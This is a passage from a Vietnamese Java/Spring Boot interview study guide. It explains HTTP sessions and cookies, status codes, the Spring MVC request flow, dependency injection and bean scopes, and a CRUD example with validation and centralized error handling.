HTTP là stateless: server không nhớ gì giữa hai request. Để nhớ người dùng đã đăng nhập, cookie là dữ liệu nhỏ (khoảng 4KB) lưu ở trình duyệt, tự gửi kèm mọi request; session là dữ liệu lưu ở server, nhận diện bằng session id (JSESSIONID) nằm trong cookie. REST API thường gửi token (JWT) trong header Authorization thay cho session. HTTPS là HTTP chạy trên TLS (cổng 443): mã hóa dữ liệu, xác thực server bằng chứng chỉ, chống sửa nội dung. JSON gọn, map thẳng sang object nên là chuẩn của REST; XML dài hơn nhưng có schema (XSD), còn gặp ở SOAP.
Stateless nghĩa là gì, và cookie/session giải quyết thế nào
"Stateless" (không trạng thái) nghĩa là mỗi request phải tự mang đủ thông tin để server xử lý, vì theo giao thức, server coi mỗi request như đến từ một người lạ. So sánh đời thường: gọi tổng đài mà mỗi lần gọi lại gặp một nhân viên khác, không ai nhớ bạn đã gọi trước đó; muốn được phục vụ tiếp bạn phải đọc lại mã khách hàng. Thiết kế này có lợi: server nào trong cụm cũng xử lý được mọi request, dễ mở rộng thêm máy. Nhưng nó đặt ra vấn đề: đăng nhập xong, làm sao request sau biết bạn là ai? Cookie và session chính là "mã khách hàng" đó:
	# 1) Login: server creates a session and returns its id in a cookie
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
 
username=an&password=secret
 
HTTP/1.1 302 Found
Set-Cookie: JSESSIONID=8F3A1C27B; Path=/; HttpOnly; Secure
Location: /home
 
# 2) Every later request: the browser attaches the cookie automatically
GET /api/me HTTP/1.1
Cookie: JSESSIONID=8F3A1C27B



Giải thích: từng bước như sau.
1. Đăng nhập đúng, server (Tomcat) tạo một session: một vùng nhớ phía server, kiểu Map chứa user = an, gắn với một id ngẫu nhiên khó đoán 8F3A1C27B.
1. Server gửi id đó về qua header Set-Cookie. Trình duyệt lưu lại thành cookie.
1. Mọi request sau tới cùng domain, trình duyệt tự đính kèm Cookie: JSESSIONID=....
1. Server tra id trong bộ nhớ session, thấy user = an, biết request này của An.
HTTP vẫn stateless; trạng thái được "gắn thêm" nhờ cookie. HttpOnly cấm JavaScript đọc cookie (chống đánh cắp qua XSS), Secure chỉ gửi cookie qua HTTPS. Nhược điểm của session: nằm trong RAM một server, chạy nhiều server thì phải dùng sticky session hoặc lưu session chung ở Redis. JWT đi hướng khác: nhét thông tin người dùng đã ký số vào token, server không cần lưu gì (Chương 5).
Câu hỏi (Cơ bản): GET và POST khác nhau thế nào?
GET dùng để đọc, tham số nằm trên URL, là safe và idempotent, cache và bookmark được. POST dùng để tạo mới hoặc gửi lệnh, dữ liệu nằm trong body, không idempotent (gửi hai lần có thể tạo hai bản ghi). PUT, PATCH, DELETE và idempotency ở Chương 7.
	BẪY THƯỜNG GẶP
"POST bảo mật hơn GET" chỉ đúng một phần: tham số GET lộ trong lịch sử trình duyệt và log, nhưng body POST qua HTTP vẫn là văn bản rõ. Bảo mật đường truyền đến từ HTTPS, không đến từ method.



Câu hỏi (Hiểu sâu): HTTP là stateless, vậy vì sao đăng nhập một lần mà các trang sau vẫn biết tôi là ai?
Vì mỗi request sau đều tự mang theo bằng chứng danh tính: cookie chứa session id, hoặc token trong header Authorization. Server không "nhớ" kết nối; nó đọc session id trong cookie, tra kho session phía server để lấy thông tin người dùng. Với JWT, server kiểm tra chữ ký của token và đọc thông tin ngay trong token, không cần tra kho. Nói cách khác, trạng thái được đẩy ra ngoài giao thức: vào cookie, vào kho session, hoặc vào token.
	CÂU HỎI ĐÀO SÂU
Người phỏng vấn hay hỏi tiếp: "Chạy 3 instance sau load balancer, người dùng đăng nhập ở instance 1, request sau rơi vào instance 2 thì sao?" Session nằm trong RAM instance 1 nên instance 2 không thấy, người dùng bị đá ra. Cách giải: sticky session (load balancer luôn đưa cùng người về cùng instance), lưu session chung ở Redis (Spring Session), hoặc chuyển sang token stateless như JWT.



Câu hỏi (Cơ bản): 401 khác 403 thế nào?
401 Unauthorized nghĩa là "tôi chưa biết bạn là ai" (chưa đăng nhập hoặc token sai/hết hạn); 403 Forbidden nghĩa là "tôi biết bạn là ai, nhưng bạn không có quyền". Nhân viên thường gọi API xóa nhân viên mà thiếu token thì nhận 401, đăng nhập lại là xong; có token hợp lệ nhưng không phải admin thì nhận 403, đăng nhập lại cũng vô ích. Tên "Unauthorized" của 401 là cách đặt tên lịch sử gây nhầm, ý đúng là "unauthenticated".
Câu hỏi (Thực chiến): API tạo nhân viên trả 500 khi email bị trùng. Có vấn đề gì, nên sửa thế nào?
500 báo "server hỏng" trong khi lỗi nằm ở dữ liệu client gửi lên; nên trả 409 Conflict (hoặc 400) kèm thông báo rõ ràng. Trả 500 gây hai hậu quả: client không biết sửa gì, và hệ thống giám sát báo động giả vì 5xx thường bị coi là sự cố. Nguyên nhân thường là DataIntegrityViolationException từ ràng buộc UNIQUE không được bắt. Sửa: bắt exception đó (hoặc kiểm tra existsByEmail trước) và ánh xạ sang 409 trong @RestControllerAdvice, như ví dụ ở N2.8.
N2.6 Từ Tomcat tới Controller
Servlet container (Tomcat, Jetty) nhận kết nối, phân tích HTTP thành HttpServletRequest/HttpServletResponse, lấy một thread trong pool rồi gọi Servlet. Spring Boot nhúng sẵn Tomcat nên chạy bằng java -jar. Luồng một request vào Spring MVC:
1. Tomcat nhận request, cho đi qua chuỗi Filter (Spring Security, logging).
1. DispatcherServlet (front controller của Spring MVC) tiếp nhận.
1. HandlerMapping tìm method controller khớp URL và HTTP method.
1. Tham số được chuẩn bị: HttpMessageConverter (Jackson) chuyển JSON body thành object, chạy validation, rồi gọi method.
1. Controller gọi Service, Service gọi Repository.
1. Object trả về được Jackson chuyển thành JSON; nếu có exception, @ExceptionHandler chuyển thành response lỗi.
Vài từ trong danh sách trên cần giải nghĩa cho người mới. Servlet là một class Java theo chuẩn Jakarta Servlet, có method nhận HttpServletRequest và ghi vào HttpServletResponse; container là chương trình chạy các servlet đó. Front controller nghĩa là mọi request đều đi qua một cửa duy nhất (DispatcherServlet), rồi cửa đó mới chia việc cho từng controller, giống lễ tân của tòa nhà chỉ đường cho khách. Filter là đoạn code chạy trước và sau servlet cho mọi request, hợp cho việc chung như ghi log, kiểm tra token.
	NHẮC LẠI KIẾN THỨC
Tomcat xử lý nhiều request cùng lúc bằng một thread pool (mặc định tối đa 200 thread trong Spring Boot): mỗi request được một thread lấy từ pool chạy từ đầu tới cuối. Thread và chạy song song xem N1.13. Hệ quả: controller, service là singleton dùng chung cho mọi thread, nên không được giữ dữ liệu của từng request trong field.



Theo dấu một request cụ thể
Lấy request GET /api/employees/5 gửi tới controller ở N2.8. Theo từng bước:
1. Tomcat nhận kết nối TCP trên cổng 8080, đọc các byte HTTP, tạo object HttpServletRequest với method GET, path /api/employees/5.
1. Tomcat lấy một thread rảnh trong pool, ví dụ http-nio-8080-exec-3, giao cho nó xử lý request này.
1. Request đi qua các Filter. Nếu có Spring Security, filter kiểm tra token; token sai thì trả 401 ngay tại đây, không bao giờ tới controller.
1. DispatcherServlet nhận request, hỏi HandlerMapping: "ai xử lý GET /api/employees/{id}?". Câu trả lời là method EmployeeController.get(Long id).
1. Spring đọc 5 từ đường dẫn, chuyển chuỗi "5" thành Long 5 cho tham số @PathVariable Long id.
1. Method chạy: controller gọi service.get(5), service gọi repo.findById(5), Hibernate chạy SELECT ... WHERE id = ?.
1. Method trả object Employee. Vì là @RestController, Jackson chuyển object thành JSON {"id":5,...}, ghi vào body với status 200.
1. Nếu không tìm thấy, service ném EmployeeNotFoundException; DispatcherServlet tìm @ExceptionHandler phù hợp và trả 404.
1. Response đi ngược lại qua các Filter, Tomcat gửi byte về client, thread exec-3 trở về pool chờ request khác.
MVC tách ứng dụng thành Model (dữ liệu), View (hiển thị), Controller (nhận request, điều phối). Với @Controller, method trả "home" được hiểu là tên view, ViewResolver tìm template home.html để render HTML. @RestController bằng @Controller cộng @ResponseBody trên mọi method, nên giá trị trả về được Jackson ghi thẳng vào body dưới dạng JSON; đó là lựa chọn cho REST API.
Câu hỏi (Cơ bản): REST khác SOAP thế nào?
SOAP là giao thức với định dạng XML bắt buộc (envelope), mô tả dịch vụ bằng WSDL, có chuẩn mở rộng như WS-Security. REST là phong cách kiến trúc trên HTTP: tài nguyên định danh bằng URL, thao tác bằng HTTP method, dữ liệu thường là JSON, nhẹ. SOAP còn gặp trong tích hợp ngân hàng, cơ quan nhà nước.
	BẪY THƯỜNG GẶP
Tài liệu cũ nói "SOAP có sẵn ACID". Sai: SOAP không tự đảm bảo transaction; giao dịch phân tán qua SOAP cần chuẩn riêng (WS-AtomicTransaction) và rất ít được dùng.



Câu hỏi (Cơ bản): DispatcherServlet là gì, nó làm gì trong một request?
DispatcherServlet là front controller của Spring MVC: servlet duy nhất nhận mọi request rồi điều phối tới đúng method controller. Nó hỏi HandlerMapping để tìm method, nhờ các converter chuẩn bị tham số (đọc path, query, JSON body), gọi method, rồi chuyển giá trị trả về thành response (JSON hoặc view HTML), và chuyển exception thành response lỗi qua @ExceptionHandler. Nhờ nó, controller của bạn chỉ là class bình thường có annotation, không phải kế thừa HttpServlet.
Câu hỏi (Đọc code): Endpoint dưới được gọi thì nhận về gì?
	@Controller
@RequestMapping("/api/ping")
public class PingController {
    @GetMapping
    public String ping() {
        return "pong";
    }
}



Đáp án:
Không nhận được chuỗi pong mà nhận lỗi, vì @Controller hiểu "pong" là tên view. Spring đi tìm template pong (ví dụ templates/pong.html với Thymeleaf); không có thì báo lỗi, thường là 500 với thông báo kiểu Error resolving template [pong], hoặc 404 tùy cấu hình view. Sửa: đổi thành @RestController, hoặc thêm @ResponseBody lên method, khi đó chuỗi được ghi thẳng vào body.
Câu hỏi (Đọc code): Controller dưới chạy đúng khi test một mình, nhưng trên production thỉnh thoảng trả sai người. Vì sao?
	@RestController
public class ProfileController {
    private String currentUser;                     // shared by all requests!
 
    @GetMapping("/api/profile")
    public String profile(@RequestParam String user) {
        currentUser = user;
        return "Hello " + currentUser;
    }
}



Đáp án:
Controller là singleton bean dùng chung, trong khi Tomcat chạy nhiều request song song trên nhiều thread; field currentUser bị các thread ghi đè lẫn nhau. Thread A gán currentUser = "an", trước khi A kịp đọc lại thì thread B gán "binh", A trả "Hello binh". Đây là race condition (N1.13) kết hợp với singleton scope (N2.7). Test một mình không lộ vì chỉ có một thread. Sửa: dùng biến cục bộ trong method (mỗi thread có stack riêng), không giữ trạng thái theo request trong field của bean singleton.
N2.7 Spring Core: IoC, DI và bean
IoC (Inversion of Control): object không tự tạo dependency, quyền tạo và nối object được đảo sang container. DI (Dependency Injection) là cách hiện thực IoC: dependency được đưa vào từ bên ngoài. Ví dụ Java thuần dưới so sánh trước và sau DI.
	NHẮC LẠI KIẾN THỨC
Interface là hợp đồng: nói class phải có những method nào, không nói cài đặt thế nào (xem N1.7). Constructor là nơi object nhận giá trị ban đầu khi được tạo bằng new, field final bắt buộc phải gán trong constructor (xem N1.4 và N1.3). DI dựa đúng vào hai thứ này: class phụ thuộc vào interface, và nhận implementation qua constructor.



Trước hết hãy làm rõ vài từ. Dependency (phụ thuộc) của một class là object khác mà class đó cần để làm việc: ReportService cần một repo để lấy danh sách tên. Container là một object lớn của Spring (tên kỹ thuật là ApplicationContext) giữ và quản lý mọi object của ứng dụng. Bean là mỗi object nằm trong container đó. Để thấy vấn đề DI giải quyết, hãy xem bản "new cứng" trước:
	import java.util.List;
 
class MySqlEmployeeRepo {
    List<String> findNames() {
        System.out.println("connecting to MySQL...");        // a real DB call in real life
        return List.of("An", "Bình");
    }
}
 
class ReportService {
    private final MySqlEmployeeRepo repo = new MySqlEmployeeRepo();  // hard-wired dependency
    int count() { return repo.findNames().size(); }
}
 
public class HardWiredDemo {
    public static void main(String[] args) {
        System.out.println(new ReportService().count());  // prints: connecting to MySQL... then 2
    }
}



Giải thích: chạy in connecting to MySQL... rồi 2. Vấn đề nằm ở dòng new MySqlEmployeeRepo() bên trong ReportService: muốn viết unit test cho count() thì bắt buộc phải có MySQL chạy thật, vì không có cách nào thay repo bằng bản giả; đổi sang PostgreSQL phải sửa code ReportService; và nếu mười service cùng new repo thì có mười object repo, mỗi cái tự mở kết nối. Class vừa làm nghiệp vụ vừa tự lo "đi mua nguyên liệu". Bản dưới tách hai việc đó ra:
	import java.util.List;
 
interface EmployeeRepo { List<String> findNames(); }
 
class ReportServiceV1 {                               // before: builds its own dependency, tied to one concrete class
    private final EmployeeRepo repo = () -> List.of("An", "Bình");
}
 
class ReportServiceV2 {                               // after: receives the dependency via constructor
    private final EmployeeRepo repo;
    ReportServiceV2(EmployeeRepo repo) { this.repo = repo; }
    int count() { return repo.findNames().size(); }
}
 
public class DiDemo {
    public static void main(String[] args) {
        EmployeeRepo fake = () -> List.of("Test");             // fake repo for unit test
        System.out.println(new ReportServiceV2(fake).count()); // prints: 1
    }
}



Giải thích: ReportServiceV1 tự quyết định implementation (ngoài đời là new MySqlEmployeeRepo()), nên không thay được bằng repo giả khi test và đổi DB phải sửa code. ReportServiceV2 chỉ biết interface: test truyền repo giả (in ra 1), chạy thật truyền repo thật. Ở đây main làm việc "nối dây"; trong Spring, ApplicationContext làm tự động.
Container làm gì: tự viết một container mini
Để thấy "container" không có gì thần bí, đoạn dưới tự viết một container vài dòng: một Map từ kiểu sang object, có method đăng ký và lấy bean. Spring làm y như vậy ở mức ý tưởng, chỉ là tự động và đầy đủ hơn nhiều.
	import java.util.HashMap;
import java.util.List;
import java.util.Map;
 
interface NameRepo { List<String> findNames(); }
 
class InMemoryNameRepo implements NameRepo {
    public List<String> findNames() { return List.of("An", "Bình", "Chi"); }
}
 
class CountService {
    private final NameRepo repo;
    CountService(NameRepo repo) { this.repo = repo; }           // dependency comes from outside
    int count() { return repo.findNames().size(); }
}
 
public class MiniContainer {
    private final Map<Class<?>, Object> beans = new HashMap<>(); // the "bean registry"
 
    <T> void register(Class<T> type, T bean) { beans.put(type, bean); }
    <T> T getBean(Class<T> type) { return type.cast(beans.get(type)); }
 
    public static void main(String[] args) {
        MiniContainer ctx = new MiniContainer();
        ctx.register(NameRepo.class, new InMemoryNameRepo());                          // create bean
        ctx.register(CountService.class, new CountService(ctx.getBean(NameRepo.class))); // wire bean
        CountService a = ctx.getBean(CountService.class);
        CountService b = ctx.getBean(CountService.class);
        System.out.println(a.count());   // prints: 3
        System.out.println(a == b);      // prints: true
    }
}



Giải thích: in 3 rồi true. Container giữ một object CountService, ai hỏi cũng nhận đúng object đó (a == b), đây chính là ý nghĩa của scope singleton mặc định. CountService không biết repo được tạo ở đâu, chỉ nhận qua constructor. Spring thay hai dòng register viết tay bằng cách: quét các class có @Component/@Service..., đọc constructor để biết cần bean nào, tạo theo đúng thứ tự phụ thuộc, rồi đưa vào. Đó là "đảo ngược quyền điều khiển": không phải CountService đi tìm repo, mà container mang repo tới cho nó.
Bean là object do Spring container tạo và quản lý. @Component đánh dấu class chung; @Service (nghiệp vụ), @Repository (truy cập dữ liệu, dịch exception của DB sang DataAccessException), @Controller/@RestController (web) là các biến thể mang ý nghĩa phân tầng. @Component gắn lên class để component scan tự phát hiện; @Bean gắn lên method trong @Configuration, bạn tự viết code tạo object, dùng cho class của thư viện hoặc khi cần logic khởi tạo riêng.
	@Configuration
public class AppConfig {
    @Bean                                   // Clock belongs to the JDK, so declare it with @Bean
    public Clock clock() { return Clock.systemDefaultZone(); }
}
 
@Service
public class AlertService {
    private final NotificationSender email;
    private final NotificationSender sms;
 
    // Single constructor: Spring injects automatically, no @Autowired needed
    public AlertService(NotificationSender email,                        // gets the @Primary bean
                        @Qualifier("smsSender") NotificationSender sms) { // picks a bean by name
        this.email = email;
        this.sms = sms;
    }
}



Giải thích: giả sử NotificationSender có hai bean: EmailSender gắn @Component @Primary và SmsSender gắn @Component("smsSender"). Tham số không chỉ định nhận bean @Primary, tham số có @Qualifier nhận đúng bean smsSender. Bỏ cả hai annotation thì ứng dụng không khởi động được, báo NoUniqueBeanDefinitionException. Constructor injection cho field final và test bằng new AlertService(...); field injection khó test hơn (Chương 4).
Lỗi NoUniqueBeanDefinitionException nguyên văn và cách sửa
Đây là lỗi người mới gặp rất sớm: có hai class cùng implement một interface, và một chỗ inject interface đó mà không nói rõ muốn cái nào. Bản sai:
	public interface NotificationSender { void send(String to, String msg); }
 
@Component
public class EmailSender implements NotificationSender {
    public void send(String to, String msg) { /* send email */ }
}
 
@Component
public class SmsSender implements NotificationSender {
    public void send(String to, String msg) { /* send SMS */ }
}
 
@Service
public class WelcomeService {
    private final NotificationSender sender;
    public WelcomeService(NotificationSender sender) { this.sender = sender; }  // which one?
}



Giải thích: ứng dụng không khởi động được. Spring Boot in ra (đường dẫn class rút gọn):
	***************************
APPLICATION FAILED TO START
***************************
 
Description:
 
Parameter 0 of constructor in com.corp.hr.WelcomeService required a single bean, but 2 were found:
    - emailSender: defined in file [.../EmailSender.class]
    - smsSender: defined in file [.../SmsSender.class]
 
Action:
 
Consider marking one of the beans as @Primary, updating the consumer to accept multiple beans, or using @Qualifier to identify the bean that should be consumed



Giải thích: exception gốc bên dưới là NoUniqueBeanDefinitionException: No qualifying bean of type 'com.corp.hr.NotificationSender' available: expected single matching bean but found 2: emailSender,smsSender. Tên bean mặc định là tên class viết thường chữ đầu (emailSender). Chính thông báo đã gợi ý ba cách sửa:
	// Fix 1: mark a default implementation
@Component @Primary
public class EmailSender implements NotificationSender { /* ... */ }
 
// Fix 2: name the exact bean at the injection point
public WelcomeService(@Qualifier("smsSender") NotificationSender sender) { this.sender = sender; }
 
// Fix 3: accept all implementations
public WelcomeService(List<NotificationSender> senders) { this.senders = senders; }



Giải thích: @Primary hợp khi có một lựa chọn "mặc định" dùng ở đa số chỗ. @Qualifier hợp khi chỗ inject cần đích danh một bean; nó thắng @Primary. Nhận List<NotificationSender> (hoặc Map<String, NotificationSender> với key là tên bean) hợp khi muốn gửi qua mọi kênh hoặc chọn kênh lúc chạy, đây cũng là nền tảng của Strategy pattern ở N2.12.
Bean scope quyết định số instance. Spring 6 có đúng 6 scope: singleton (mặc định, 1 instance mỗi container), prototype (mỗi lần lấy tạo mới), và 4 scope web: request, session, application (mỗi ServletContext), websocket.
	BẪY THƯỜNG GẶP
Nhiều tài liệu liệt kê scope global session. Scope này chỉ dành cho Portlet và đã bị gỡ từ Spring 5.



Cấu hình nằm ngoài code, trong application.yml, và thay đổi theo môi trường bằng profile.
	app:
  company-name: Corp VN
spring:
  profiles:
    active: dev
---
spring:
  config:
    activate:
      on-profile: prod          # this block applies only when profile prod is active
  datasource:
    url: jdbc:mysql://db.prod:3306/hr



Giải thích: dấu --- chia file thành hai tài liệu; khối đầu luôn được nạp, khối sau chỉ có hiệu lực và ghi đè khối đầu khi profile prod bật (hoặc tách ra file application-prod.yml). Trên server bật profile bằng biến môi trường SPRING_PROFILES_ACTIVE=prod. Trong code đọc giá trị bằng @Value("${app.company-name}"), có mặc định kiểu @Value("${app.page-size:20}"); nhiều thuộc tính thì dùng @ConfigurationProperties (Chương 4).
Câu hỏi (Cơ bản): IoC và DI khác nhau thế nào? Có mấy kiểu DI?
IoC là nguyên lý đảo quyền tạo object sang container; DI là cách hiện thực nó. Có ba kiểu DI: constructor (khuyến nghị cho dependency bắt buộc), setter (dependency tùy chọn), field (ngắn nhưng khó test, nên tránh).
Câu hỏi (Cơ bản): Bean là gì? Mọi object trong ứng dụng Spring có phải bean không?
Bean là object do Spring container tạo, nối dependency và quản lý vòng đời; không phải mọi object đều là bean. Service, repository, controller, cấu hình là bean vì chúng sống suốt ứng dụng và được dùng chung. Entity Employee, DTO EmployeeRequest, danh sách kết quả là object bình thường tạo bằng new hoặc do Hibernate/Jackson tạo, vì mỗi request có dữ liệu riêng. Một object bạn tự new không được Spring quản lý: không được inject gì, @Transactional trên nó cũng không có tác dụng.
Câu hỏi (Hiểu sâu): @Component khác @Bean thế nào, khi nào dùng cái nào?
@Component gắn lên class của bạn để Spring tự phát hiện qua component scan; @Bean gắn lên method trong @Configuration, bạn tự viết code tạo object. Dùng @Component (hoặc @Service, @Repository) cho class trong code của mình. Dùng @Bean khi không sửa được source để gắn annotation (class thư viện như Clock, RestTemplate, ObjectMapper), khi cần logic khởi tạo tùy biến, hoặc khi cần nhiều bean cùng kiểu cấu hình khác nhau (hai DataSource).
Câu hỏi (Hiểu sâu): Vì sao constructor injection cho phép field final còn field injection thì không?
Vì final bắt buộc phải được gán đúng một lần trước khi constructor kết thúc (N1.3, N1.4), và chỉ constructor injection đưa giá trị vào đúng lúc đó. Với field injection, Spring gọi constructor rỗng trước, rồi mới dùng reflection gán field sau, nên field không thể final. Hệ quả thực tế của constructor injection: object luôn đầy đủ dependency ngay khi tạo, không có trạng thái "nửa vời" với field null; test chỉ cần new AlertService(mockEmail, mockSms); và constructor quá nhiều tham số là tín hiệu class đang ôm quá nhiều việc.
Câu hỏi (Đọc code): Đoạn cấu hình dưới in ra gì?
	@Component
@Scope("prototype")
class Ticket {
    private static int created = 0;
    final int no = ++created;
}
 
@Component
class Counter { int value; }
 
// somewhere after startup, with ApplicationContext ctx:
// Ticket t1 = ctx.getBean(Ticket.class);
// Ticket t2 = ctx.getBean(Ticket.class);
// Counter c1 = ctx.getBean(Counter.class);
// Counter c2 = ctx.getBean(Counter.class);
// c1.value++;
// System.out.println(t1.no + " " + t2.no + " " + (t1 == t2));
// System.out.println(c2.value + " " + (c1 == c2));



Đáp án:
In 1 2 false rồi 1 true. Ticket là prototype nên mỗi getBean tạo object mới: t1.no = 1, t2.no = 2, khác nhau. Counter là singleton mặc định nên c1 và c2 là cùng một object; tăng c1.value thì đọc qua c2 cũng thấy 1. Lưu ý: prototype bean được inject vào một singleton chỉ được tạo một lần lúc inject, không phải mỗi lần dùng; muốn mới mỗi lần phải lấy qua ObjectProvider<Ticket>.
N2.8 Spring MVC và ví dụ CRUD
@PathVariable lấy giá trị trong đường dẫn (/api/employees/5), thường là id. @RequestParam lấy từ query string (?page=0&size=20), hợp cho lọc, phân trang, có thể kèm giá trị mặc định. @RequestBody đọc body JSON thành object qua Jackson, mỗi method chỉ có một. Ví dụ CRUD dưới dùng Spring Boot 3 với các starter web, data-jpa, validation. Tầng đầu tiên là entity.
CRUD là bốn thao tác cơ bản trên dữ liệu: Create (tạo), Read (đọc), Update (sửa), Delete (xóa), tương ứng với POST, GET, PUT/PATCH, DELETE trong REST và INSERT, SELECT, UPDATE, DELETE trong SQL. Ứng dụng Spring thường chia làm các tầng, mỗi tầng một việc: Controller nói chuyện HTTP, Service chứa nghiệp vụ và transaction, Repository nói chuyện với DB, Entity là class đại diện cho một dòng trong bảng. DTO (Data Transfer Object) là class chỉ để chở dữ liệu vào/ra API, tách khỏi entity để không lộ cấu trúc DB. Bảng dưới đối chiếu ba cách lấy tham số với một request cụ thể:
	Request
	Annotation
	Giá trị nhận được

	GET /api/employees/5
	@PathVariable Long id
	id = 5

	GET /api/employees?page=2&size=20
	@RequestParam int page
	page = 2

	GET /api/employees (thiếu page)
	@RequestParam(defaultValue = "0") int page
	page = 0

	POST /api/employees body JSON
	@RequestBody EmployeeRequest req
	object req đầy đủ field



	@Entity
@Table(name = "employees")
public class Employee {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)      // DB generates the id
    private Long id;
 
    @Column(name = "full_name", nullable = false, length = 100)
    private String fullName;
 
    @Column(nullable = false, unique = true)
    private String email;
 
    private BigDecimal salary;                               // same name as the column, no @Column needed
 
    protected Employee() {}                                  // JPA requires a no-arg constructor
 
    public Employee(String fullName, String email, BigDecimal salary) {
        this.fullName = fullName; this.email = email; this.salary = salary;
    }
    // getters and setters omitted
}



Giải thích: @Entity báo Hibernate đây là class được map, @Table chỉ tên bảng, @Id đánh dấu khóa chính, @GeneratedValue(IDENTITY) giao việc sinh id cho DB. Từ Spring Boot 3, các annotation này thuộc jakarta.persistence, không còn javax.persistence.
Tầng Repository chỉ là interface; Spring Data JPA sinh class cài đặt lúc chạy.
	import java.util.Optional;
import org.springframework.data.jpa.repository.JpaRepository;
 
public interface EmployeeRepository extends JpaRepository<Employee, Long> {
    Optional<Employee> findByEmail(String email);   // derived query: WHERE email = ?
    boolean existsByEmail(String email);
}



Giải thích: kế thừa JpaRepository là có sẵn save, findById, findAll (có phân trang), deleteById. Hai method còn lại là derived query: Spring phân tích tên method để sinh truy vấn; gõ sai tên field (findByMail) thì ứng dụng báo lỗi lúc khởi động.
Tầng Service chứa nghiệp vụ và ranh giới transaction; DTO đầu vào là record có ràng buộc validation.
	NHẮC LẠI KIẾN THỨC
EmployeeNotFoundException dưới đây kế thừa RuntimeException, tức là unchecked exception: compiler không bắt buộc try/catch hay throws (xem N1.12). Spring cũng mặc định chỉ rollback @Transactional khi gặp unchecked exception. Transaction là gì và vì sao cần rollback: xem kịch bản chuyển tiền ở N2.4.



	public record EmployeeRequest(@NotBlank String fullName,
                              @NotBlank @Email String email,
                              @NotNull @Positive BigDecimal salary) {}
 
@Service
public class EmployeeService {
    private final EmployeeRepository repo;
    public EmployeeService(EmployeeRepository repo) { this.repo = repo; }
 
    public Employee get(Long id) {
        return repo.findById(id).orElseThrow(() -> new EmployeeNotFoundException(id));
    }
 
    @Transactional
    public Employee create(EmployeeRequest req) {
        if (repo.existsByEmail(req.email())) throw new IllegalStateException("Email đã tồn tại");
        return repo.save(new Employee(req.fullName(), req.email(), req.salary()));
    }
}



Giải thích: EmployeeNotFoundException là một RuntimeException tự định nghĩa để tầng web chuyển thành 404. @Transactional đặt ở method ghi để lỗi giữa chừng thì rollback. existsByEmail chỉ để báo lỗi thân thiện; chống trùng thật sự vẫn là ràng buộc UNIQUE trong DB.
Tầng Controller nhận request và dùng ResponseEntity khi cần kiểm soát status code, header.
	@RestController
@RequestMapping("/api/employees")
public class EmployeeController {
    private final EmployeeService service;
    public EmployeeController(EmployeeService service) { this.service = service; }
 
    @GetMapping("/{id}")
    public Employee get(@PathVariable Long id) { return service.get(id); }   // 200
 
    @PostMapping
    public ResponseEntity<Employee> create(@Valid @RequestBody EmployeeRequest req) {
        Employee saved = service.create(req);
        return ResponseEntity.created(URI.create("/api/employees/" + saved.getId()))
                             .body(saved);                                   // 201 + Location
    }
}



Giải thích: @RequestMapping ở class đặt tiền tố chung, @GetMapping/@PostMapping khớp theo HTTP method. @Valid kích hoạt kiểm tra ràng buộc trong EmployeeRequest; thiếu @Valid hoặc thiếu spring-boot-starter-validation thì @NotBlank bị bỏ qua, câu bẫy hay gặp. Trả thẳng object cho status 200; muốn 201 kèm Location thì dùng ResponseEntity. Để ngắn gọn tôi trả entity; dự án thật nên trả DTO.
Phải có @Valid: bản sai và bản sửa
Quy tắc "muốn validate body thì phải đặt @Valid" dễ quên vì thiếu nó không có lỗi gì báo ra. Bản sai:
	@PostMapping
public ResponseEntity<Employee> create(@RequestBody EmployeeRequest req) {   // no @Valid
    return ResponseEntity.ok(service.create(req));
}



Giải thích: gửi {"fullName": "", "email": "abc", "salary": -5} thì request lọt qua, @NotBlank, @Email, @Positive trên record chỉ là "nhãn dán" không ai đọc. Nếu may mắn, DB chặn lại bằng CHECK (salary > 0) và client nhận 500 khó hiểu; nếu không, dữ liệu rác nằm trong DB. Bản sửa là thêm @Valid như controller ở trên. Khi đó Spring kiểm tra trước khi gọi method, ném MethodArgumentNotValidException và client nhận 400 Bad Request; method create không bao giờ chạy với dữ liệu sai.
Cuối cùng, @RestControllerAdvice gom xử lý lỗi của mọi controller về một chỗ.
	import java.util.Map;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice;
 
@RestControllerAdvice
public class GlobalExceptionHandler {
 
    @ExceptionHandler(EmployeeNotFoundException.class)
    @ResponseStatus(HttpStatus.NOT_FOUND)                            // returns 404
    public Map<String, String> notFound(EmployeeNotFoundException ex) {
        return Map.of("error", ex.getMessage());
    }
 
    @ExceptionHandler(IllegalStateException.class)
    @ResponseStatus(HttpStatus.CONFLICT)                             // duplicate email: 409
    public Map<String, String> conflict(IllegalStateException ex) {
        return Map.of("error", ex.getMessage());
    }
}



Giải thích: gọi GET /api/employees/99 nhận 404 kèm {"error": "..."} thay vì 500 kèm stack trace; tạo trùng email nhận 409. Không có class này, mỗi controller phải tự try/catch, lặp code và format lỗi không thống nhất. Dữ liệu vi phạm @Valid ném MethodArgumentNotValidException, Spring Boot mặc định trả 400; muốn body liệt kê lỗi từng field thì thêm một handler cho exception này. Chuẩn ProblemDetail ở Chương 4 và 7.
Ghép cả bốn tầng lại, đây là những gì client thấy khi gọi API (dùng curl, output rút gọn):
	curl -i -X POST localhost:8080/api/employees \
     -H 'Content-Type: application/json' \
     -d '{"fullName":"Em","email":"em@corp.vn","salary":1300}'
# HTTP/1.1 201
# Location: /api/employees/5
# {"id":5,"fullName":"Em","email":"em@corp.vn","salary":1300}
 
curl -i -X POST localhost:8080/api/employees \
     -H 'Content-Type: application/json' \
     -d '{"fullName":"Em","email":"em@corp.vn","salary":1300}'
# HTTP/1.1 409
# {"error":"Email đã tồn tại"}
 
curl -i localhost:8080/api/employees/99
# HTTP/1.1 404



Giải thích: lần đầu tạo thành công, nhận 201 và địa chỉ bản ghi mới. Lần hai gửi lại đúng body đó, service thấy email đã có nên ném IllegalStateException, advice đổi thành 409. Đọc id không tồn tại nhận 404. Mỗi status code đến từ đúng một chỗ trong code, đó là lợi ích của việc gom xử lý lỗi.
Câu hỏi (Cơ bản): @PathVariable khác @RequestParam thế nào, khi nào dùng cái nào?
